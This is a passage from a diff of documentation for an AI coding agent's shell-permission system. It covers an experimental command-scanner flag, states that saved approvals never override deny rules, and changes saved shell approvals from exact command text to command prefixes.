consulted. Unsupported syntax, including heredocs, requests permission for the
|
||||
original shell command without inferring external directories.
|
||||
When enabled, shell commands are analyzed only by the portable scanner.
|
||||
Tree-sitter is not used as a fallback or a second opinion. If the scanner
|
||||
cannot analyze a command, the shell tool reports a scanner error rather than
|
||||
silently retrying with Tree-sitter. These failures are experimental parser
|
||||
gaps to fix, not permission denials.
|
||||
|
||||
The flag changes parser selection, not permission policy. Existing rules,
|
||||
saved approval patterns, and best-effort directory inference continue to apply.
|
||||
There is no additional approval mode or blanket unknown-directory restriction.
|
||||
With the flag disabled, the existing Tree-sitter path is unchanged.
|
||||
|
||||
## Defaults
|
||||
|
||||
@@ -220,7 +227,7 @@ When an `ask` rule matches, clients can reply with:
|
||||
Saved approvals are durable and project-scoped. They are additional `allow`
|
||||
rules, but they can never override a configured `deny`. The proposed saved
|
||||
pattern may be broader than the displayed resource: several tools propose `*`,
|
||||
shell proposes the exact command text, and skills and subagents propose their
|
||||
shell proposes command prefixes, and skills and subagents propose their
|
||||
IDs. Review the confirmation carefully and remove saved approvals that are no
|
||||
longer needed.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user